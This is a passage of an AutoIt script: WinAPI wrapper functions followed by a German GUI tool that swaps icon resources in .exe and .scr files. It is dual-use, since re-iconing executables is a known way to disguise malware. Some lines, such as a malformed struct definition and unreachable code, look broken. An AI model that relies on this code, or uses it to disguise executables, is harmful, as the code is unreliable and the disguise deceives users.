EndFunc ;==>_WinAPI_ReadProcessMemory
Func _WinAPI_RectIsEmpty(ByRef $TRECT)
Return (DllStructGetData($TRECT, "Left") = 0) And (DllStructGetData($TRECT, "Top") = 0) And (DllStructGetData($TRECT, "Right") = 0) And (DllStructGetData($TRECT, "Bottom") = 0)
EndFunc ;==>_WinAPI_RectIsEmpty
Func _WinAPI_RedrawWindow($HWND, $TRECT = 0, $HREGION = 0, $IFLAGS = 5)
Local $ARESULT = DllCall("user32.dll", "bool", "RedrawWindow", "hwnd", $HWND, "struct*", $TRECT, "handle", $HREGION, "uint", $IFLAGS)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_RedrawWindow
Func _WinAPI_RegisterWindowMessage($SMESSAGE)
Local $ARESULT = DllCall("user32.dll", "uint", "RegisterWindowMessageW", "wstr", $SMESSAGE)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_RegisterWindowMessage
Func _WinAPI_ReleaseCapture()
Local $ARESULT = DllCall("user32.dll", "bool", "ReleaseCapture")
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_ReleaseCapture
Func _WinAPI_ReleaseDC($HWND, $HDC)
Local $ARESULT = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $HWND, "handle", $HDC)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_ReleaseDC
Func _WinAPI_ScreenToClient($HWND, ByRef $TPOINT)
Local $ARESULT = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $HWND, "struct*", $TPOINT)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_ScreenToClient
Func _WinAPI_SelectObject($HDC, $HGDIOBJ)
Local $ARESULT = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $HDC, "handle", $HGDIOBJ)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_SelectObject
Func _WinAPI_SetBkColor($HDC, $ICOLOR)
Local $ARESULT = DllCall("gdi32.dll", "INT", "SetBkColor", "handle", $HDC, "dword", $ICOLOR)
If @error Then Return SetError(@error, @extended, -1)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_SetBkColor
Func _WinAPI_SetBkMode($HDC, $IBKMODE)
Local $ARESULT = DllCall("gdi32.dll", "int", "SetBkMode", "handle", $HDC, "int", $IBKMODE)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WINAPI_SETBKMODE
Func _WinAPI_SetCapture($HWND)
Local $ARESULT = DllCall("user32.dll", "hwnd", "SetCapture", "hwnd", $HWND)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_SetCapture
Func _WinAPI_SetCursor($HCURSOR)
Local $ARESULT = DllCall("user32.dll", "handle", "SetCursor", "handle", $HCURSOR)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_SetCursor
Func _WinAPI_SetDefaultPrinter($SPRINTER)
Local $ARESULT = DllCall("winspool.drv", "bool", "SetDefaultPrinterW", "wstr", $SPRINTER)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_SetDefaultPrinter
Func _WinAPI_SetDIBits($HDC, $HBMP, $ISTARTSCAN, $ISCANLINES, $PBITS, $PBMI, $ICOLORUSE = 0)
Local $ARESULT = DllCall("gdi32.dll", "int", "SetDIBits", "handle", $HDC, "handle", $HBMP, "uint", $ISTARTSCAN, "uint", $ISCANLINES, "ptr", $PBITS, "ptr", $PBMI, "uint", $ICOLORUSE)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_SetDIBits
Func _WinAPI_SetEndOfFile($HFILE)
Local $ARESULT = DllCall("kernel32.dll", "bool", "SetEndOfFile", "handle", $HFILE)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WINAPI_SETENDOFFILE
Func _WinAPI_SetEvent($HEVENT)
Local $ARESULT = DllCall("kernel32.dll", "bool", "SetEvent", "handle", $HEVENT)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_SetEvent
Func _WinAPI_SetFilePointer($HFILE, $IPOS, $IMETHOD = 0)
Local $ARESULT = DllCall("kernel32.dll", "INT", "SetFilePointer", "handle", $HFILE, "long", $IPOS, "ptr", 0, "long", $IMETHOD)
If @error Then Return SetError(@error, @extended, -1)
Return $ARESULT[0]
EndFunc ;==>_WINAPI_SETFILEPOINTER
Func _WinAPI_SetFocus($HWND)
Local $ARESULT = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", $HWND)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_SetFocus
Func _WinAPI_SetFont($HWND, $HFONT, $FREDRAW = True)
_SendMessage($HWND, $__WINAPICONSTANT_WM_SETFONT, $HFONT, $FREDRAW, 0, "hwnd")
EndFunc ;==>_WinAPI_SetFont
Func _WinAPI_SetHandleInformation($HOBJECT, $IMASK, $IFLAGS)
Local $ARESULT = DllCall("kernel32.dll", "bool", "SetHandleInformation", "handle", $HOBJECT, "dword", $IMASK, "dword", $IFLAGS)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_SetHandleInformation
Func _WinAPI_SetLayeredWindowAttributes($HWND, $I_TRANSCOLOR, $TRANSPARENCY = 255, $DWFLAGS = 3, $ISCOLORREF = False)
If $DWFLAGS = Default Or $DWFLAGS = "" Or $DWFLAGS < 0 Then $DWFLAGS = 3
If Not $ISCOLORREF Then
$I_TRANSCOLOR = Int(BinaryMid($I_TRANSCOLOR, 3, 1) & BinaryMid($I_TRANSCOLOR, 2, 1) & BinaryMid($I_TRANSCOLOR, 1, 1))
EndIf
Local $ARESULT = DllCall("user32.dll", "bool", "SetLayeredWindowAttributes", "hwnd", $HWND, "dword", $I_TRANSCOLOR, "byte", $TRANSPARENCY, "dword", $DWFLAGS)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WINAPI_SETLAYEREDWINDOWATTRIBUTES
Func _WinAPI_SetParent($HWNDCHILD, $HWNDPARENT)
Local $ARESULT = DllCall("user32.dll", "hwnd", "SetParent", "hwnd", $HWNDCHILD, "hwnd", $HWNDPARENT)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_SetParent
Func _WinAPI_SetProcessAffinityMask($HPROCESS, $IMASK)
Local $ARESULT = DllCall("kernel32.dll", "bool", "SetProcessAffinityMask", "handle", $HPROCESS, "ulong_ptr", $IMASK)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_SetProcessAffinityMask
Func _WinAPI_SetSysColors($VELEMENTS, $VCOLORS)
Local $ISEARRAY = IsArray($VELEMENTS), $ISCARRAY = IsArray($VCOLORS)
Local $IELEMENTNUM
If Not $ISCARRAY And Not $ISEARRAY Then
$IELEMENTNUM = 1
ElseIf $ISCARRAY Or $ISEARRAY Then
If Not $ISCARRAY Or Not $ISEARRAY Then Return SetError(-1, -1, False)
If UBound($VELEMENTS) <> UBound($VCOLORS) Then Return SetError(-1, -1, False)
$IELEMENTNUM = UBound($VELEMENTS)
EndIf
Local $TELEMENTS = DllStructCreate("int Element[" & $IELEMENTNUM & "]")
Local $TCOLORS = DllStructCreate("dword NewColor[" & $IELEMENTNUM & "]")
If Not $ISEARRAY Then
DllStructSetData($TELEMENTS, "Element", $VELEMENTS, 1)
Else
For $X = 0 To $IELEMENTNUM - 1
DllStructSetData($TELEMENTS, "Element", $VELEMENTS[$X], $X + 1)
Next
EndIf
If Not $ISCARRAY Then
DllStructSetData($TCOLORS, "NewColor", $VCOLORS, 1)
Else
For $X = 0 To $IELEMENTNUM - 1
DllStructSetData($TCOLORS, "NewColor", $VCOLORS[$X], $X + 1)
Next
EndIf
Local $ARESULT = DllCall("user32.dll", "bool", "SetSysColors", "int", $IELEMENTNUM, "struct*", $TELEMENTS, "struct*", $TCOLORS)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_SetSysColors
Func _WinAPI_SetTextColor($HDC, $ICOLOR)
Local $ARESULT = DllCall("gdi32.dll", "INT", "SetTextColor", "handle", $HDC, "dword", $ICOLOR)
If @error Then Return SetError(@error, @extended, -1)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_SetTextColor
Func _WinAPI_SetWindowLong($HWND, $IINDEX, $IVALUE)
_WinAPI_SetLastError(0)
Local $SFUNCNAME = "SetWindowLongW"
If @AutoItX64 Then $SFUNCNAME = "SetWindowLongPtrW"
Local $ARESULT = DllCall("user32.dll", "long_ptr", $SFUNCNAME, "hwnd", $HWND, "int", $IINDEX, "long_ptr", $IVALUE)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_SetWindowLong
Func _WinAPI_SetWindowPlacement($HWND, $PWINDOWPLACEMENT)
Local $ARESULT = DllCall("user32.dll", "bool", "SetWindowPlacement", "hwnd", $HWND, "ptr", $PWINDOWPLACEMENT)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WINAPI_SETWINDOWPLACEMENT
Func _WinAPI_SetWindowPos($HWND, $HAFTER, $IX, $IY, $ICX, $ICY, $IFLAGS)
Local $ARESULT = DllCall("user32.dll", "bool", "SetWindowPos", "hwnd", $HWND, "hwnd", $HAFTER, "int", $IX, "int", $IY, "int", $ICX, "int", $ICY, "uint", $IFLAGS)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_SetWindowPos
Func _WinAPI_SetWindowRgn($HWND, $HRGN, $BREDRAW = True)
Local $ARESULT = DllCall("user32.dll", "int", "SetWindowRgn", "hwnd", $HWND, "handle", $HRGN, "bool", $BREDRAW)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WINAPI_SETWINDOWRGN
Func _WinAPI_SetWindowsHookEx($IDHOOK, $LPFN, $HMOD, $DWTHREADID = 0)
Local $ARESULT = DllCall("user32.dll", "handle", "SetWindowsHookEx", "int", $IDHOOK, "ptr", $LPFN, "handle", $HMOD, "dword", $DWTHREADID)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_SetWindowsHookEx
Func _WinAPI_SetWindowText($HWND, $STEXT)
Local $ARESULT = DllCall("user32.dll", "bool", "SetWindowTextW", "hwnd", $HWND, "wstr", $STEXT)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_SetWindowText
Func _WinAPI_ShowCursor($FSHOW)
Local $ARESULT = DllCall("user32.dll", "int", "ShowCursor", "bool", $FSHOW)
If @error Then Return SetError(@error, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_ShowCursor
Func _WinAPI_ShowError($STEXT, $FEXIT = True)
_WinAPI_MsgBox(266256, "Error", $STEXT)
If $FEXIT Then Exit
EndFunc ;==>_WinAPI_ShowError
Func _WinAPI_ShowMsg($STEXT)
_WinAPI_MsgBox(64 + 4096, "Information", $STEXT)
EndFunc ;==>_WinAPI_ShowMsg
Func _WinAPI_ShowWindow($HWND, $ICMDSHOW = 5)
Local $ARESULT = DllCall("user32.dll", "bool", "ShowWindow", "hwnd", $HWND, "int", $ICMDSHOW)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_ShowWindow
Func _WinAPI_StringFromGUID($PGUID)
Local $ARESULT = DllCall("ole32.dll", "int", "StringFromGUID2", "struct*", $PGUID, "wstr", "", "int", 40)
If @error Then Return SetError(@error, @extended, "")
Return SetExtended($ARESULT[0], $ARESULT[2])
EndFunc ;==>_WinAPI_StringFromGUID
Func _WinAPI_StringLenA($VSTRING)
Local $ACALL = DllCall("kernel32.dll", "int", "lstrlenA", "struct*", $VSTRING)
If @error Then Return SetError(1, @extended, 0)
Return $ACALL[0]
EndFunc ;==>_WINAPI_STRINGLENA
Func _WinAPI_StringLenW($VSTRING)
Local $ACALL = DllCall("kernel32.dll", "int", "lstrlenW", "struct*", $VSTRING)
If @error Then Return SetError(1, @extended, 0)
Return $ACALL[0]
EndFunc ;==>_WINAPI_STRINGLENW
Func _WinAPI_SubLangId($LGID)
Return BitShift($LGID, 10)
EndFunc ;==>_WinAPI_SubLangId
Func _WinAPI_SystemParametersInfo($IACTION, $IPARAM = 0, $VPARAM = 0, $IWININI = 0)
Local $ARESULT = DllCall("user32.dll", "bool", "SystemParametersInfoW", "uint", $IACTION, "uint", $IPARAM, "ptr", $VPARAM, "uint", $IWININI)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_SystemParametersInfo
Func _WinAPI_TwipsPerPixelX()
Local $LNGDC, $TWIPSPERPIXELX
$LNGDC = _WinAPI_GetDC(0)
$TWIPSPERPIXELX = 1440 / _WinAPI_GetDeviceCaps($LNGDC, $__WINAPICONSTANT_LOGPIXELSX)
_WinAPI_ReleaseDC(0, $LNGDC)
Return $TWIPSPERPIXELX
EndFunc ;==>_WinAPI_TwipsPerPixelX
Func _WinAPI_TwipsPerPixelY()
Local $LNGDC, $TWIPSPERPIXELY
$LNGDC = _WinAPI_GetDC(0)
$TWIPSPERPIXELY = 1440 / _WinAPI_GetDeviceCaps($LNGDC, $__WINAPICONSTANT_LOGPIXELSY)
_WinAPI_ReleaseDC(0, $LNGDC)
Return $TWIPSPERPIXELY
EndFunc ;==>_WinAPI_TwipsPerPixelY
Func _WinAPI_UnhookWindowsHookEx($HHK)
Local $ARESULT = DllCall("user32.dll", "bool", "UnhookWindowsHookEx", "handle", $HHK)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_UnhookWindowsHookEx
Func _WinAPI_UpdateLayeredWindow($HWND, $HDCDEST, $PPTDEST, $PSIZE, $HDCSRCE, $PPTSRCE, $IRGB, $PBLEND, $IFLAGS)
Local $ARESULT = DllCall("user32.dll", "bool", "UpdateLayeredWindow", "hwnd", $HWND, "handle", $HDCDEST, "ptr", $PPTDEST, "ptr", $PSIZE, "handle", $HDCSRCE, "ptr", $PPTSRCE, "dword", $IRGB, "ptr", $PBLEND, "dword", $IFLAGS)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_UpdateLayeredWindow
Func _WinAPI_UpdateWindow($HWND)
Local $ARESULT = DllCall("user32.dll", "bool", "UpdateWindow", "hwnd", $HWND)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_UpdateWindow
Func _WinAPI_WaitForInputIdle($HPROCESS, $ITIMEOUT = -1)
Local $ARESULT = DllCall("user32.dll", "dword", "WaitForInputIdle", "handle", $HPROCESS, "dword", $ITIMEOUT)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_WaitForInputIdle
Func _WinAPI_WaitForMultipleObjects($ICOUNT, $PHANDLES, $FWAITALL = False, $ITIMEOUT = -1)
Local $ARESULT = DllCall("kernel32.dll", "INT", "WaitForMultipleObjects", "dword", $ICOUNT, "ptr", $PHANDLES, "bool", $FWAITALL, "dword", $ITIMEOUT)
If @error Then Return SetError(@error, @extended, -1)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_WaitForMultipleObjects
Func _WinAPI_WaitForSingleObject($HHANDLE, $ITIMEOUT = -1)
Local $ARESULT = DllCall("kernel32.dll", "INT", "WaitForSingleObject", "handle", $HHANDLE, "dword", $ITIMEOUT)
If @error Then Return SetError(@error, @extended, -1)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_WaitForSingleObject
Func _WinAPI_WideCharToMultiByte($PUNICODE, $ICODEPAGE = 0, $BRETSTRING = True)
Local $SUNICODETYPE = "wstr"
If Not IsString($PUNICODE) Then $SUNICODETYPE = "struct*"
Local $ARESULT = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $ICODEPAGE, "dword", 0, $SUNICODETYPE, $PUNICODE, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0)
If @error Then Return SetError(@error, @extended, "")
Local $TMULTIBYTE = DllStructCreate("char[" & $ARESULT[0] & "]")
$ARESULT = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $ICODEPAGE, "dword", 0, $SUNICODETYPE, $PUNICODE, "int", -1, "struct*", $TMULTIBYTE, "int", $ARESULT[0], "ptr", 0, "ptr", 0)
If @error Then Return SetError(@error, @extended, "")
If $BRETSTRING Then Return DllStructGetData($TMULTIBYTE, 1)
Return $TMULTIBYTE
EndFunc ;==>_WinAPI_WideCharToMultiByte
Func _WinAPI_WindowFromPoint(ByRef $TPOINT)
Local $ARESULT = DllCall("user32.dll", "hwnd", "WindowFromPoint", "struct", $TPOINT)
If @error Then Return SetError(1, @extended, 0)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_WindowFromPoint
Func _WinAPI_WriteConsole($HCONSOLE, $STEXT)
Local $ARESULT = DllCall("kernel32.dll", "bool", "WriteConsoleW", "handle", $HCONSOLE, "wstr", $STEXT, "dword", StringLen($STEXT), "dword*", 0, "ptr", 0)
If @error Then Return SetError(@error, @extended, False)
Return $ARESULT[0]
EndFunc ;==>_WinAPI_WriteConsole
Func _WinAPI_WriteFile($HFILE, $PBUFFER, $ITOWRITE, ByRef $IWRITTEN, $POVERLAPPED = 0)
Local $ARESULT = DllCall("kernel32.dll", "bool", "WriteFile", "handle", $HFILE, "ptr", $PBUFFER, "dword", $ITOWRITE, "dword*", 0, "ptr", $POVERLAPPED)
If @error Then Return SetError(@error, @extended, False)
$IWRITTEN = $ARESULT[4]
Return $ARESULT[0]
EndFunc ;==>_WinAPI_WriteFile
Func _WinAPI_WriteProcessMemory($HPROCESS, $PBASEADDRESS, $PBUFFER, $ISIZE, ByRef $IWRITTEN, $SBUFFER = "ptr")
Local $ARESULT = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $HPROCESS, "ptr", $PBASEADDRESS, $SBUFFER, $PBUFFER, "ulong_ptr", $ISIZE, "ulong_ptr*", 0)
If @error Then Return SetError(@error, @extended, False)
$IWRITTEN = $ARESULT[5]
Return $ARESULT[0]
EndFunc ;==>_WinAPI_WriteProcessMemory
Global $ARRAY_MODULE_STRUCTURE[1][1][1], $GLOBAL_TYPES_COUNT, $IPOPULATEARRAY, $GLOBAL_LANGS_COUNT, $LANG_COUNT, $GLOBAL_NAMES_COUNT, $NAME_COUNT
Global $LANGCODECURRENT, $LANGNAMECURRENT[2], $TYPECURRENT, $TYPENAMECURRENT[2]
Global Const $RT_CURSOR = 1, $RT_BITMAP = 2, $RT_ICON = 3, $RT_MENU = 4, $RT_DIALOG = 5, $RT_STRING = 6, $RT_FONTDIR = 7, $RT_FONT = 8, $RT_ACCELERATOR = 9, $RT_RCDATA = 10, $RT_MESSAGETABLE = 11, $RT_GROUP_CURSOR = 12, $RT_GROUP_ICON = 14, $RT_VERSION = 16, $RT_DLGINCLUDE = 17, $RT_PLUGPLAY = 19, $RT_VXD = 20, $RT_ANICURSOR = 21, $RT_ANIICON = 22, $RT_HTML = 23, $RT_MANIFEST = 24
Global $SCRIPT = False
Global $ALISTVIEWITEM[1]
$SKIN = @ScriptDir & "\Ressource\Skin\1.msstyles"
DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", "Ressource\Skin\Skin.dll")
DllCall("Ressource\Skin\Skin.dll", "int", "USkinInit", "ptr", "", "ptr", "", "str", $SKIN)
TRAYTIP(" // Toolbase IconChanger by notfound \\ ",""&@CRLF&" Have fun! ",2)
$FORM2 = GUICreate("Toolbase IconChanger", 390, 357, 192, 124)
$INPUT1 = GUICtrlCreateInput("", 8, 16, 281, 21)
$BUTTON1 = GUICtrlCreateButton(".exe", 302, 15, 75, 23)
$LISTVIEW1 = GUICtrlCreateListView("", 8, 56, 369, 249)
$BUTTON2 = GUICtrlCreateButton("Icon ändern", 8, 320, 369, 25)
Global $HICO = GUICtrlCreateIcon("", "", 0, 0, 0, 0)
GUISetState(@SW_SHOW)
While 1
$NMSG = GUIGetMsg()
Switch $NMSG
Case -3
Exit
Case $BUTTON1
$VAR = FileOpenDialog("", @DesktopDir & "\", ".exe oder .scr (*.*)", 1, "")
If @error Then ContinueLoop
GUICtrlSetData($INPUT1, $VAR)
_RESENUM($VAR)
Case $BUTTON2
$VAR = FileOpenDialog("Select Icon", @DesktopDir & "\", "ico FILE (*.ico)", 1, "")
If @error Then ContinueLoop
$STR = GUICtrlRead(GUICtrlRead($LISTVIEW1))
$STR = StringRegExp($STR, "\|(.*?)\|", 3)
If @error Then
MsgBox(16, "Error! ", " Wähle ein Element ...")
ContinueLoop
EndIf
$STR = $STR[0]
If $STR <> "" Then
If StringInStr($STR, "|") Then $STR = StringReplace($STR, "|", "")
$FILE = GUICtrlRead($INPUT1)
If @error Then ContinueLoop
$SCRIPT = READEOF($FILE)
If Not @error And Not StringIsDigit($SCRIPT) Then
ConsoleWrite($SCRIPT & @CR)
$TEMPNAME = @TempDir & "\SCRIPT_DATUM.bin"
$NUM = 0
If FileExists($TEMPNAME) Then
While FileExists($TEMPNAME)
$TEMPNAME = @TempDir & "\SCRIPT_DATUM(" & $NUM & ").bin"
$NUM += 1
WEnd
EndIf
$HTMP = FileOpen($TEMPNAME, 2)
FileWrite($HTMP, $SCRIPT)
FileClose($HTMP)
_RESUPDATE($FILE, 10, "SCRIPT_DATUM", 0, $TEMPNAME)
FileDelete($TEMPNAME)
EndIf
_RESREP($FILE, $STR, $VAR)
EndIf
EndSwitch
WEnd
Func _RESDELETE($SMODULE, $IRESTYPE, $IRESNAME, $IRESLANG, $LPARAM = 0)
If Not FileExists($SMODULE) Then
Return SetError(100, 0, "")
EndIf
Local $HFILE = FileOpen($SMODULE, 1)
If $HFILE = -1 Then
Return SetError(101, 0, "")
EndIf
FileClose($HFILE)
Switch $IRESTYPE
Case $RT_GROUP_ICON
Local $BBINGROUPICON = _RESOURCEGETASRAW($IRESTYPE, $IRESNAME, $IRESLANG, $SMODULE, 1)
Local $TGROUPICON = DllStructCreate("byte[" & BinaryLen($BBINGROUPICON) & "]")
DllStructSetData($TGROUPICON, 1, $BBINGROUPICON)
Local $TENUMGROUPICON = DllStructCreate("ushort;" & "ushort Type;" & "ushort ResCount;" & "byte Body[" & BinaryLen($BBINGROUPICON) - 6 & "]", DllStructGetPtr($TGROUPICON))
Case $RT_GROUP_CURSOR
Local $BBINGROUPCURSOR = _RESOURCEGETASRAW($IRESTYPE, $IRESNAME, $IRESLANG, $SMODULE, 1)
Case $RT_ICON
If Not $LPARAM Then
Return SetError(0, 0, 1)
For $M = 0 To UBound($ARRAY_MODULE_STRUCTURE, 1) - 1
If $ARRAY_MODULE_STRUCTURE[$M][0][0] = $RT_GROUP_ICON Then
Local $BBINGROUPICON, $IRESCOUNT
Local $TGROUPICON
Local $THEADERGROUPICON
For $N = 1 To UBound($ARRAY_MODULE_STRUCTURE, 2) - 1
$BBINGROUPICON = _RESOURCEGETASRAW($RT_GROUP_ICON, $ARRAY_MODULE_STRUCTURE[$M][$N][0], $IRESLANG, $SMODULE, 1)
$TGROUPICON = DllStructCreate("byte[" & BinaryLen($BBINGROUPICON) & "]")
DllStructSetData($TGROUPICON, 1, $BBINGROUPICON)
$THEADERGROUPICON = DllStructCreate("ushort;" & "ushort Type;" & "ushort ResCount;" & "byte Body[" & BinaryLen($BBINGROUPICON) - 6 & "]", DllStructGetPtr($TGROUPICON))
$IRESCOUNT = DllStructGetData($THEADERGROUPICON, "ResCount")
If $IRESCOUNT < 2 Then
_RESDELETE($SMODULE, $RT_GROUP_ICON, $ARRAY_MODULE_STRUCTURE[$M][$N][0], $IRESLANG)
If @error Then
Return SetError(@error, 0, "")
EndIf
Return SetError(0, 0, 1)
EndIf
Next
EndIf
Next
EndIf
Case $RT_CURSOR
If Not $LPARAM Then
For $M = 0 To UBound($ARRAY_MODULE_STRUCTURE, 1) - 1
If $ARRAY_MODULE_STRUCTURE[$M][0][0] = $RT_GROUP_CURSOR Then
Local $BGROUPCURSOR
For $N = 1 To UBound($ARRAY_MODULE_STRUCTURE, 2) - 1
$BGROUPCURSOR = _RESOURCEGETASRAW($RT_GROUP_CURSOR, $ARRAY_MODULE_STRUCTURE[$M][$N][0], $IRESLANG, $SMODULE, 1)
If $IRESNAME = _LITTLEENDIANBINARYTOINT(BinaryMid($BGROUPCURSOR, 19, 2)) Then
_RESDELETE($SMODULE, $RT_GROUP_CURSOR, $ARRAY_MODULE_STRUCTURE[$M][$N][0], $IRESLANG)
If @error Then
Return SetError(@error, 0, "")
EndIf
EndIf
Next
EndIf
Next
Return SetError(0, 0, 1)
EndIf
EndSwitch
Local $A_HCALL = DllCall("kernel32.dll", "hwnd", "BeginUpdateResourceW", "wstr", $SMODULE, "int", 0)
If @error Or Not $A_HCALL[0] Then
Return SetError(1, 0, "")
EndIf
Local $A_ICALL
Switch IsNumber($IRESTYPE) + 2 * IsNumber($IRESNAME)
Case 0
Local $A_ICALL = DllCall("kernel32.dll", "int", "UpdateResourceW", "hwnd", $A_HCALL[0], "wstr", $IRESTYPE, "wstr", $IRESNAME, "int", $IRESLANG, "ptr", 0, "dword", 0)
Case 1
Local $A_ICALL = DllCall("kernel32.dll", "int", "UpdateResourceW", "hwnd", $A_HCALL[0], "int", $IRESTYPE, "wstr", $IRESNAME, "int", $IRESLANG, "ptr", 0, "dword", 0)
Case 2
Local $A_ICALL = DllCall("kernel32.dll", "int", "UpdateResourceW", "hwnd", $A_HCALL[0], "wstr", $IRESTYPE, "int", $IRESNAME, "int", $IRESLANG, "ptr", 0, "dword", 0)
Case 3
Local $A_ICALL = DllCall("kernel32.dll", "int", "UpdateResource", "hwnd", $A_HCALL[0], "int", $IRESTYPE, "int", $IRESNAME, "int", $IRESLANG, "ptr", 0, "dword", 0)
EndSwitch
If @error Or Not $A_ICALL[0] Then
DllCall("kernel32.dll", "int", "EndUpdateResource", "hwnd", $A_HCALL[0], "int", 0)
Return SetError(2, 0, "")
EndIf
$A_ICALL = DllCall("kernel32.dll", "int", "EndUpdateResource", "hwnd", $A_HCALL[0], "int", 0)
If @error Or Not $A_ICALL[0] Then
Return SetError(3, 0, "")
EndIf
Switch $IRESTYPE
Case $RT_GROUP_ICON
Local $IICONNAME
For $I = 1 To DllStructGetData($TENUMGROUPICON, "ResCount")
$IICONNAME = _LITTLEENDIANBINARYTOINT(BinaryMid(DllStructGetData($TENUMGROUPICON, "Body"), (14 * $I) - 1, 2))
If $IICONNAME Then
_RESDELETE($SMODULE, $RT_ICON, $IICONNAME, $IRESLANG, 1)
EndIf
Next
Case $RT_GROUP_CURSOR
_RESDELETE($SMODULE, $RT_CURSOR, _LITTLEENDIANBINARYTOINT(BinaryMid($BBINGROUPCURSOR, 19, 2)), $IRESLANG, 1)
If @error Then
Return SetError(@error, 0, "")
EndIf
EndSwitch
Return SetError(0, 0, 1)
EndFunc ;==>_RESDELETE
Func _LITTLEENDIANBINARYTOINT($BBINARY)
Local $HEX
$BBINARY = Binary($BBINARY)
Local $IBINARYLEN = BinaryLen($BBINARY)
For $I = 1 To $IBINARYLEN
$HEX &= Hex(BinaryMid($BBINARY, $IBINARYLEN + 1 - $I, 1))
Next
Return SetError(0, 0, Dec($HEX))
EndFunc ;==>_LITTLEENDIANBINARYTOINT
Func _RESUPDATE($SMODULE, $IRESTYPE, $IRESNAME, $IRESLANG, $SRESFILE, $LPARAM = 0)
If Not FileExists($SMODULE) Then
Return SetError(100, 0, "")
EndIf
Local $HFILE = FileOpen($SMODULE, 1)
If $HFILE = -1 Then
Return SetError(101, 0, "")
EndIf
FileClose($HFILE)
Switch $IRESTYPE
Case $RT_GROUP_CURSOR
Local $TBINARY = DllStructCreate("byte[" & FileGetSize($SRESFILE) & "]")
Local $HRESFILE = FileOpen($SRESFILE, 16)
DllStructSetData($TBINARY, 1, FileRead($HRESFILE))
FileClose($HRESFILE)
If @error Then
Return SetError(5, 0, "")
EndIf
Local $TRESOURCE = DllStructCreate("align 2;ushort;" & "ushort Type;" & "ushort ImageCount;" & "ubyte Width;" & "ubyte Height;" & "ubyte ColorCount;" & "byte[" & "ushort Xhotspot;" & "ushort Yhotspot;" & "dword BitmapSize;" & "dword BitmapOffset;" & "byte Body[" & DllStructGetSize($TBINARY) - 22 & "]", DllStructGetPtr($TBINARY))
Local $TBITMAP = DllStructCreate("dword HeaderSize", DllStructGetPtr($TRESOURCE, "Body"))
Local $IHEADERSIZE = DllStructGetData($TBITMAP, "HeaderSize")
Switch $IHEADERSIZE
Case 40
$TBITMAP = DllStructCreate("dword HeaderSize;" & "dword Width;" & "dword Height;" & "ushort Planes;" & "ushort BitPerPixel;" & "dword CompressionMethod;" & "dword Size;" & "dword Hresolution;" & "dword Vresolution;" & "dword Colors;" & "dword ImportantColors;", DllStructGetPtr($TRESOURCE, "Body"))
Case 12
$TBITMAP = DllStructCreate("dword HeaderSize;" & "ushort Width;" & "ushort Height;" & "ushort Planes;" & "ushort BitPerPixel;", DllStructGetPtr($TRESOURCE, "Body"))
Case Else
Return SetError(6, 0, "")
EndSwitch
